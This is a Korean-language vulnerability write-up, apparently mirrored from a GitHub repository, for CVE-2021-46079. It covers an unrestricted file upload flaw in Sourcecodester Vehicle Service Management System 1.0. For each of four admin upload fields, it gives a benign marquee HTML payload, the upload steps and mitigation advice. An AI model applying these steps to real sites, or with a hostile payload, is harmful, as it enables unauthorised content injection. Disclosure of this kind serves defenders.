CVE-2021-46079 — CVE-2021-46079 - Sourcecodester Vehicle Service Management System 1.0에 무제한 파일 업로드(Unrestricted File Upload) 취약점이 존재합니다. 원격 공격자는 악성 파일을 업로드하여 HTML 인젝션(Html Injection)을 유발할 수 있습니다. | Kitploit
도구 / GitHub / sanupl / cve-2021-46079
sanupl/cve-2021-46079 CVE-2021-46079 CVE-2021-46079 - Sourcecodester Vehicle Service Management System 1.0에 무제한 파일 업로드(Unrestricted File Upload) 취약점이 존재합니다. 원격 공격자는 악성 파일을 업로드하여 HTML 인젝션(Html Injection)을 유발할 수 있습니다.
1 1 4개월 전커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.
지난 7일 지난 30일
CVE-2021-46079
익스플로잇 제목: Vehicle Service Management System - 'Multiple' 파일 업로드로 인한 HTML 인젝션
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
참고 자료:
설명:
Sourcecodester Vehicle Service Management System 1.0에 무제한 파일 업로드 취약점이 존재합니다. 원격 공격자는 악성 파일을 업로드하여 HTML 인젝션을 유발할 수 있습니다.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
익스플로잇:
페이로드: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
위의 HTML 코드를 저장합니다. 예: Html Injection.html
My Account 섹션에서 필요한 모든 세부 정보를 입력하고 Avatar에서 HTML 파일을 선택합니다.
업데이트 버튼을 클릭합니다.
새 탭에서 아바타 이미지를 엽니다.
HTML 인젝션이 실행됩니다.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
익스플로잇:
페이로드: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
위의 HTML 코드를 저장합니다. 예: Html Injection.html
Create New User 페이지에서 필요한 모든 세부 정보를 입력하고 Avatar에서 HTML 파일을 선택합니다.
저장 버튼을 클릭합니다.
새 탭에서 아바타 이미지를 엽니다.
HTML 인젝션이 실행됩니다.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
페이로드:
페이로드: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
위의 HTML 코드를 저장합니다. 예: Html Injection.html
Settings 섹션에서 필요한 모든 세부 정보를 입력하고 System Logo에서 HTML 파일을 선택합니다.
업데이트 버튼을 클릭합니다.
새 탭에서 System Logo 이미지를 엽니다.
HTML 인젝션이 실행됩니다.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
익스플로잇:
페이로드: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
위의 HTML 코드를 저장합니다. 예: Html Injection.html
Settings 섹션에서 필요한 모든 세부 정보를 입력하고 Website Cover에서 HTML 파일을 선택합니다.
업데이트 버튼을 클릭합니다.
새 탭에서 Website Cover 이미지를 엽니다.
HTML 인젝션이 실행됩니다.
영향: 공격자는 여러 엔드포인트에서 악성 파일을 업로드할 수 있으며, 이로 인해 HTML 인젝션이 발생할 수 있습니다.
완화 조치:
화이트리스트 필터 없이 파일 이름과 확장자를 직접 수락하지 마십시오.
유니코드 문자가 필요하지 않은 경우, 파일 이름과 확장자 입력으로 영숫자 문자와 점 하나만 허용하는 것을 적극 권장합니다.
서비스 거부(DoS) 공격을 방지하기 위해 파일 크기를 최대값으로 제한하십시오.
업로드 디렉터리에는 "실행" 권한이 없어야 합니다.
클라이언트 측 검증에만 의존하지 마십시오.